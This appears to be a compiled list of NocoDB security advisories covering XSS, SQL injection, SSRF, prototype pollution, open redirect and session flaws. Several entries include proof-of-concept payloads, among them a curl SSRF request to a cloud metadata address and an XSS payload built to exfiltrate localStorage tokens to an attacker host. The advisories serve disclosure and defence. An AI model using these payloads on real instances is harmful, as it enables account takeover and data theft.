See how nocodb compares to other vendors in security performance
A security flaw has been discovered in NocoDB up to 2026.07.0. Impacted is the function AuthService.validateUser of the component Sign-in Endpoint. Performing a manipulation of the argument salt results in information disclosure. It is possible to initiate the attack remotely. The attack's complexity is rated as high. The exploitability is considered difficult. The vendor deleted the GitHub issue for this vulnerability without any explanation. Afterwards the vendor was contacted early about this disclosure via email but did not respond in any way.
A vulnerability was identified in NocoDB up to 2026.08.0. This issue affects some unknown processing of the file users.service.ts of the component Registration. Such manipulation leads to race condition. The attack may be performed from remote. The attack requires a high level of complexity. The exploitability is assessed as difficult. The vendor deleted the GitHub issue for this vulnerability without any explanation. Afterwards the vendor was contacted early about this disclosure via email but did not respond in any way.
A vulnerability was found in NocoDB up to 2026.08.0. This affects an unknown part of the file packages/nocodb/src/services/users/users.service.ts of the component Password-Reset Flow. The manipulation results in race condition. The attack can be executed remotely. The vendor deleted the GitHub issue for this vulnerability without any explanation. Afterwards the vendor was contacted early about this disclosure via email but did not respond in any way.
NocoDB is software for building databases as spreadsheets. Prior to 2026.05.1, revokeAllOAuthTokensByUser in the users service is an empty stub being called from passwordChange, passwordForgot, and passwordReset. OAuth access and refresh tokens were not revoked when the user changed, reset, or recovered their password, leaving an attacker-issued OAuth grant valid after the user believed they had locked the attacker out. This vulnerability is fixed in 2026.05.1.
Summary Rich text cell content rendered via v-html without sanitization, enabling stored XSS.
Details Rich text in TextArea.vue was parsed by markdown-it with html: true and injected via v-html without DOMPurify. A user with Editor role can inject arbitrary HTML that executes for all viewers.
Impact Stored XSS — malicious scripts execute for any user viewing the cell.
Credit This issue was discovered by an AI agent developed by the GitHub Security Lab and reviewed by GHSL team members @p- (Peter Stockli) and @m-y-mo (Man Yue Mo).
Summary An authenticated user with Creator role can inject arbitrary SQL via the DATEADD formula's unit parameter.
Details The third argument (unit) of DATEADD was interpolated directly into knex.raw() queries after only stripping quote characters. Validation in formulas.ts only checked Literal AST node types — non-Literal types bypassed validation entirely. Affected MySQL, PostgreSQL, and SQLite function mappings.
Impact SQL injection allowing data exfiltration or modification, scoped to the connected database.
Credit This issue was reported by @q1uf3ng.
Summary User-controlled content in comments and rich text cells was rendered via v-html without sanitization, enabling stored XSS.
Details Comments in Comments.vue and rich text in TextArea.vue were parsed by markdown-it with html: true and injected via v-html. The codebase had vue-dompurify-html available but these paths used raw v-html. Server-side, Comment.insert() used extractProps() instead of extractPropsAndSanitize().
Commenter role is sufficient for the comments vector; Editor role for rich text.
This issue was independently reported; see also GHSA-rcph-x7mj-54mm and GHSA-wwp2-x4rj-j8rm for the same root cause found by GitHub Security Lab.
Impact Stored XSS — malicious scripts execute for any user viewing the comment or cell.
Credit This issue was reported by @bugbunny-research (bugbunny.ai).
Summary Comments rendered via v-html without sanitization, enabling stored XSS.
Details Comments in Comments.vue were parsed by markdown-it with html: true and injected via v-html without DOMPurify. A user with Commenter role can inject arbitrary HTML that executes for all viewers.
Impact Stored XSS — malicious scripts execute for any user viewing the comment.
Credit This issue was discovered by an AI agent developed by the GitHub Security Lab and reviewed by GHSL team members @p- (Peter Stockli) and @m-y-mo (Man Yue Mo).
Summary The password reset flow did not revoke existing refresh tokens, allowing an attacker with a previously stolen refresh token to continue minting valid JWTs after the victim resets their password.
Details passwordReset() in users.service.ts updated tokenversion (invalidating JWTs) but did not call UserRefreshToken.deleteAllUserToken(). The refreshToken() method only checked token existence, not tokenversion. Both passwordChange() and signOut() correctly deleted all refresh tokens.
Impact An attacker who previously obtained a refresh token retains access after password reset until the token expires.
Credit This issue was reported by @bugbunny-research (bugbunny.ai).
Summary The MCP token service did not validate token ownership, allowing a Creator within the same base to read, regenerate, or delete another user's MCP tokens if the token ID was known.
Details McpTokenService.get(), regenerateToken(), and delete() did not filter by fkuserid. The analogous ApiTokensService correctly enforced ownership.
Impact Limited — requires Creator role and knowledge of target token ID. Primary risk is denial of service (invalidating tokens) and scoped token disclosure.
Credit This issue was reported by @bugbunny-research (bugbunny.ai).
Summary Shared view passwords were stored in plaintext in the database and compared using direct string equality.
Details The password column in ncviews stored unhashed passwords. Verification used !== comparison across public-datas.service.ts, public-metas.service.ts, and calendar-datas.service.ts.
Impact If the database is compromised, shared view passwords are immediately readable. Risk is limited to password reuse scenarios.
Credit This issue was reported by @Tulgaaaaaaaa.
Summary An authenticated user with Editor role can inject arbitrary HTML into Rich Text cells by bypassing the TipTap editor and sending raw HTML via the API.
Details The TipTap editor sanitizes HTML client-side, but the backend stores raw HTML without server-side sanitization. The stored content is rendered via v-html in TextArea.vue through NcMarkdownParser.parse() which performs no sanitization.
Impact Stored XSS — malicious scripts execute for any user viewing the cell.
Credit This issue was reported by @Akokonunes.
Summary The password forgot endpoint returned different responses for registered and unregistered emails, allowing user enumeration.
Details POST /api/v2/auth/password/forgot returned a success message for registered emails but 'Your email has not been registered.' for unknown emails. The fix returns a uniform response regardless of whether the email exists.
Impact An unauthenticated attacker can determine whether an email is registered. No credentials or data are exposed.
Credit This issue was reported by @Tulgaaaaaaaa.
Summary A stored XSS vulnerability exists in the Formula virtual cell. Formula results containing URI::() patterns are rendered via v-html without sanitization, allowing injected HTML to execute.
Details The replaceUrlsWithLink() function in urlUtils.ts converts URI::(url) patterns to <a> tags but passes all other HTML through unchanged. A user with Creator role (minimum role for formula field creation) can craft a formula like CONCAT("URI::(https://example.com)", "<img src=x onerror=...>") to inject arbitrary scripts rendered for all viewers.
Impact Credential theft via script execution in the context of users viewing the table.
Credit This issue was reported by @Akokonunes.
Summary
A stored Cross-site Scripting (XSS) vulnerability exists in NocoDB’s attachment handling mechanism. Authenticated users can upload malicious SVG files containing embedded JavaScript, which are later rendered inline and executed in the browsers of other users who view the attachment.
Because the malicious payload is stored server-side and executed under the application’s origin, successful exploitation can lead to account compromise, data exfiltration and unauthorized actions performed on behalf of affected users.
---
Vulnerability Details
NocoDB allows file attachments to be previewed inline based on their MIME type. Due to overly permissive MIME type checks and a lack of content sanitization, SVG files containing executable JavaScript are incorrectly treated as safe image content and rendered directly in the browser.
Root Cause
The vulnerability results from a combination of overly permissive MIME type classification and unsafe file serving behavior.
1. Permissive MIME Type Check
In attachmentHelpers.ts, files are considered previewable if their MIME type contains certain substrings:
ts const previewableMimeTypes = ['image', 'pdf', 'video', 'audio'];
export const isPreviewAllowed = (args: { mimetype?: string } = {}) => { const { mimetype } = args; if (!mimetype) return false; return previewableMimeTypes.some((type) => mimetype.includes(type)); };
This substring-based check (includes) causes files with the MIME type image/svg+xml to be classified as safe for inline preview. However, SVG is an XML-based format that supports executable JavaScript via <script> elements, event handlers, and external references.
No additional validation or sanitization is performed on SVG content after this classification.
2. Unsafe Inline File Serving
Uploaded attachments are served by the fileReadv3 endpoint in attachments.controller.ts without sanitization or content-type enforcement:
ts @Get('/dltemp/:param()') async fileReadv3(@Param('param') param: string, @Res() res: Response) { // No authentication guard
// Sets headers from query parameters res.setHeader('Content-Type', queryParams.contentType); res.setHeader('Content-Disposition', queryParams.contentDisposition);
// Sends raw file content res.sendFile(file.path); }
The endpoint:
Preserves the original Content-Type (image/svg+xml) Uses Content-Disposition: inline Sends the raw file contents unmodified
As a result, browsers render the SVG inline and execute any embedded JavaScript under the NocoDB application’s origin.
---
Impact
This is a stored XSS vulnerability that can be exploited by authenticated users with permission to upload attachments.
Potential impacts include:
Account takeover Theft of session cookies or API tokens Unauthorized actions performed on behalf of victims Privilege escalation if higher-privileged users view the malicious attachment
---
Credit
This issue was discovered by an AI agent developed by the GitHub Security Lab and reviewed by GHSL team members @p- (Peter Stöckli) and @m-y-mo (Man Yue Mo).
Summary
An unvalidated redirect (open redirect) vulnerability exists in NocoDB’s login flow due to missing validation of the continueAfterSignIn parameter.
During authentication, NocoDB processes a user-controlled redirect value and conditionally performs client-side navigation without enforcing any restrictions on the destination’s origin, domain or protocol. This allows attackers to redirect authenticated users to arbitrary external websites after login.
Root Cause
The redirect logic relies on a permissive URL check that treats any absolute or protocol-relative URL as safe, and performs navigation without applying an allowlist or origin validation.
In the redirect plugin:
The helper function isFullUrl uses the following regular expression:
ts /^(https?:)?\/\//
This pattern matches any HTTP(S) URL as well as protocol-relative URLs (e.g., //evil.example), without restricting allowed domains.
When the continueAfterSignIn query parameter matches this pattern, the application performs an unconditional external navigation:
ts navigateTo(route.value.query.continueAfterSignIn as string, { external: isFullUrl(...) })
Attack Scenario
An attacker can exploit this issue through a phishing attack:
1. The attacker crafts a malicious login URL containing a controlled redirect target, for example:
https://victim-nocodb.example/#/signin?continueAfterSignIn=https://evil-phishing.com/fake-login 2. The victim clicks the link and is presented with the legitimate NocoDB login page. 3. The victim authenticates using valid credentials. 4. After login, NocoDB automatically redirects the victim to the attacker-controlled external site. 5. The attacker’s site displays a fake error message and prompts the victim to re-enter credentials. 6. The victim unknowingly submits credentials to the attacker.
Impact
This vulnerability enables phishing attacks by leveraging user trust in the legitimate NocoDB login flow. While it does not directly expose credentials or bypass authentication, it increases the likelihood of credential theft through social engineering.
The issue does not allow arbitrary code execution or privilege escalation, but it undermines authentication integrity.
Credit
This issue was discovered by an AI agent developed by the GitHub Security Lab and reviewed by GHSL team members @p- (Peter Stöckli) and @m-y-mo (Man Yue Mo).
Summary
A blind Server-Side Request Forgery (SSRF) vulnerability exists in the uploadViaURL functionality due to an unprotected HEAD request. While the subsequent file retrieval logic correctly enforces SSRF protections, the initial metadata request executes without validation.
This allows limited outbound requests to arbitrary URLs before SSRF controls are applied.
---
Vulnerability Details
The uploadViaURL() function issues an axios.head() request to retrieve metadata (content type, content length, and final URL after redirects). This request is performed without SSRF filtering.
Although the actual file download is protected by request filtering, the initial HEAD request occurs prior to these checks and can be triggered with an attacker-controlled URL.
Vulnerable Code
ts if (!url.startsWith('data:')) { response = await axios.head(url, { maxRedirects: 5 }); mimeType = response.headers['content-type']?.split(';')[0]; size = response.headers['content-length']; finalUrl = response.request.res.responseUrl; }
---
Impact
The impact of this issue is limited due to the following constraints:
Only HEAD requests are affected (no response body is returned) No direct exfiltration of response data occurs The subsequent file-fetching logic enforces SSRF protections
However, the vulnerability may still allow:
Blind SSRF via outbound HEAD requests Limited internal service probing (reachability and response behavior) Interaction with sensitive internal endpoints that respond to HEAD requests
This issue does not provide arbitrary data access or full internal network compromise on its own.
---
Severity
Moderate
The vulnerability is limited in scope and impact:
Only HEAD requests are affected No response body or sensitive data is directly returned The actual file download logic enforces SSRF protections
While the issue permits blind outbound requests to attacker-controlled URLs, it does not enable direct data exfiltration or full internal network compromise on its own.
---
Proof of Concept
bash curl -X POST 'http://localhost:8080/api/v2/storage/upload-by-url' \ -H 'Content-Type: application/json' \ -H 'xc-auth: <token>' \ -d '[{ "url": "http://169.254.169.254/latest/meta-data/", "fileName": "test.txt" }]'
This request causes the server to issue an unfiltered HEAD request before SSRF protections are applied.
---
Acknowledgements
This issue was first identified and responsibly disclosed by Faizan Raza of Kolega.dev as part of a security assessment using Kolega.dev Deep Code Scan, including validation and fix recommendations.
NocoDB also acknowledges Neel B for independently reporting the same issue prior to publication.
NocoDB thanks Kolega.dev for their contribution to improving the security posture of the project.
Summary
An authenticated user with org-level-creator permissions can exploit prototype pollution in the /api/v2/meta/connection/test endpoint, causing all database write operations to fail application-wide until server restart.
While the pollution technically bypasses SUPERADMIN authorization checks, no practical privileged actions can be performed because database operations fail immediately after pollution.
Details
The deepMerge() function in packages/nocodb/src/utils/dataUtils.ts does not sanitize the following keys: (proto, constructor, prototype):
typescript export const deepMerge = (target: any, ...sources: any[]) => { // ... Object.keys(source).forEach((key) => { if (isMergeableObject(source[key])) { if (!target[key]) target[key] = Array.isArray(source[key]) ? [] : {}; deepMerge(target[key], source[key]); // Recursively merges proto } else { target[key] = source[key]; } }); // ... };
The testConnection endpoint (packages/nocodb/src/controllers/utils.controller.ts) passes user-controlled input directly to deepMerge():
typescript config = await integration.getConfig(); deepMerge(config, body);
When an attacker sends {"proto": {"super": true}}, the super property is written to Object.prototype, affecting all plain objects in the Node.js process.
Impact
Pollutes Object.prototype globally, breaking all subsequent database write operations for all users until process restart.
Summary
The API endpoint related to the password reset function is vulnerable to Reflected Cross-Site-Scripting.
Details
Throughout the source-code analysis, it has been found that the endpoint /api/v1/db/auth/password/reset/:tokenId is vulnerable to Reflected Cross-Site-Scripting. The flaw occurs due to implementation of the client-side template engine ejs, specifically on file resetPassword.ts where the template is using the insecure function “<%-“ https://github.com/nocodb/nocodb/blob/ba5a191b33259d984fc92df225f7d82ede2ddb56/packages/nocodb/src/modules/auth/ui/auth/resetPassword.ts#L71 which is rendered by the function renderPasswordReset: https://github.com/nocodb/nocodb/blob/ba5a191b33259d984fc92df225f7d82ede2ddb56/packages/nocodb/src/modules/auth/auth.controller.ts#L251
PoC
Send the request below to a vulnerable instance: /api/v1/db/auth/password/reset/asdsad%3C%2F%73%63%72%69%70%74%3E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E/
!image
Impact
The vulnerability affect end-users, allowing an attacker to craft and send a malicious link to the victim which leads running script on their browser.
Credits l34k3d ottoboni
Summary A stored cross-site scripting vulnerability exists within the Formula virtual cell comments functionality.
Details The nc-gui/components/virtual-cell/Formula.vue displays a v-html tag with the value of "urls" whose contents are processed by the function replaceUrlsWithLink(). This function recognizes the pattern URI::(XXX) and creates a hyperlink tag <a> with href=XXX. However, it leaves all the other contents outside of the pattern URI::(XXX) unchanged, which makes the evil users can create a malicious table with a formula field whose payload is <img src=1 onerror="malicious javascripts"URI::(XXX). The evil users then can share this table with others by enabling public viewing and the victims who open the shared link can be attacked.
PoC Step 1: Attacker login the nocodb and creates a table with two fields, "T" and "F". The type of field "T" is "SingleLineText", and the type of the "F" is "Fomula" with the formula content {T} Step 2: The attacker sets the contents of T using <img src=1 onerror=alert(localStorage.getItem('nocodb-gui-v2'))URI::(XXX) Step 3: The attacker clicks the "Share" button and enables public viewing, then copies the shared link and sends it to the victims Step 4: Any victims who open the shared link in their browsers will see the alert with their confidential tokens stored in localStorage
The attackers can use the fetch(http://attacker.com/?localStorage.getItem('nocodb-gui-v2'))) to replace the alert and then steal the victims' credentials in their attacker.com website.
Impact Stealing the credentials of NocoDB user that clicks the malicious link.
Summary --- An authenticated attacker with create access could conduct a SQL Injection attack on MySQL DB using unescaped tablename.
Details --- SQL Injection vulnerability occurs in VitessClient.ts. javascript async columnList(args: any = {}) { const func = this.columnList.name; const result = new Result(); log.api(${func}:args:, args);
try { args.databaseName = this.connectionConfig.connection.database;
const response = await this.sqlClient.raw( select , tablename as tn from informationschema.columns where tablename = '${args.tn}' ORDER by ordinalposition, ); The variable ${args.tn} refers to the table name entered by the user. A malicious attacker can escape the existing query by including a special character (') in the table name and insert and execute a new arbitrary SQL query.
Impact --- This vulnerability may result in leakage of sensitive data in the database.
Summary --- Attacker can upload a html file with malicious content. If user tries to open that file in browser malicious scripts can be executed leading Stored XSS(Cross-Site Script) attack.
PoC --- NocoDB was configured using the Release Binary Noco-macos-arm64, and nocodb version 0.202.9 (currently the latest version) was used. binary hash infos: md5(164b727f287af56168bc16fba622d0b4) / sha256(43e8e97f4c5f5330613abe071a359f84e4514b7186f92954b678087c37b7832e) <img width="665" alt="image" src="https://user-images.githubusercontent.com/86613161/287472673-aeb60a02-2080-429f-8583-9f130ab62779.png">
1. Run the binary to start the server and access the arbitrary table dashboard. <img width="830" alt="image" src="https://user-images.githubusercontent.com/86613161/287472852-98b2286e-ad66-45bf-b503-63780619d775.png">
Here, used the default Features table.
2. Click + in the table field header to add an attachment field. <img width="1173" alt="image" src="https://user-images.githubusercontent.com/86613161/287472936-98a67213-a547-4e71-915c-d2a43300530b.png">
3. Click the Add File(s) button to select and upload files.
<img width="1132" alt="image" src="https://user-images.githubusercontent.com/86613161/287473041-0801ff39-e48c-4746-8518-be825bfd5533.png">
Here, test.html containing <script>alert(document.domain)</script> was uploaded.
4. Check the uploaded file path. <img width="1163" alt="image" src="https://user-images.githubusercontent.com/86613161/287473337-b1c7c781-2fb5-4bd0-b464-dbd3d4158f04.png"
5. Access the uploaded file path. <img width="1201" alt="image" src="https://user-images.githubusercontent.com/86613161/287473278-410f9228-58e3-4ee4-b111-70cdbffa9ed5.png">
When the file path is accessed, the <script>alert(document.domain)</script> script statement contained in the file is executed and the server host appears in the alert message.
Impact --- This allows remote attacker to execute JavaScript code in the context of the user accessing the vector. An attacker could have used this vulnerability to execute requests in the name of a logged-in user or potentially collect information about the attacked user by displaying a malicious form.
Summary
Nocodb contains SQL injection vulnerability, that allows an authenticated attacker with creator access to query the underlying database.
Product
nocodb/nocodb
Tested Version
0.109.2
Details
SQL injection in SqliteClient.ts (GHSL-2023-141) By supplying a specially crafted payload to the given below parameter and endpoint, an attacker can inject arbitrary SQL queries to be executed. Since this is a blind SQL injections, an attacker may need to use time-based payloads which would include a function to delay execution for a given number of seconds. The response time indicates, whether the result of the query execution was true or false. Depending on the result, the HTTP response will be returned after a given number of seconds, indicating TRUE, or immediately, indicating FALSE. In that way, an attacker can reveal the data present in the database.
The triggerList method creates a SQL query using the user-controlled tablename parameter value from the tableCreate endpoint.
javascript async triggerList(args: any = {}) { const func = this.triggerList.name; const result = new Result(); log.api(${func}:args:, args);
try { args.databaseName = this.connectionConfig.connection.database;
const response = await this.sqlClient.raw( select , name as triggername from sqlitemaster where type = 'trigger' and tblname='${args.tn}';, ); [...]
Impact
This issue may lead to Information Disclosure.
Credit
This issue was discovered and reported by GHSL team member @sylwia-budzynska (Sylwia Budzynska).
Disclosure Policy
This report is subject to our coordinated disclosure policy.
Improper Input Validation in GitHub repository nocodb/nocodb prior to 0.96.0.
NocoDB through 0.106.0 (or 0.109.1) has a path traversal vulnerability that allows an unauthenticated attacker to access arbitrary files on the server by manipulating the path parameter of the /download route. This vulnerability could allow an attacker to access sensitive files and data on the server, including configuration files, source code, and other sensitive information.
Allocation of Resources Without Limits or Throttling in GitHub repository nocodb/nocodb prior to 0.92.0.
With this SSRF vulnerability, an attacker can reach internal addresses to make a request as the server and read it's contents. This attack can lead to leak of sensitive information.
Cross-site Scripting (XSS) - Stored in GitHub repository nocodb/nocodb prior to 0.91.7+.
Insufficient Session Expiration in GitHub repository nocodb/nocodb prior to 0.91.7+.
Improper Privilege Management in GitHub repository nocodb/nocodb prior to 0.91.7+.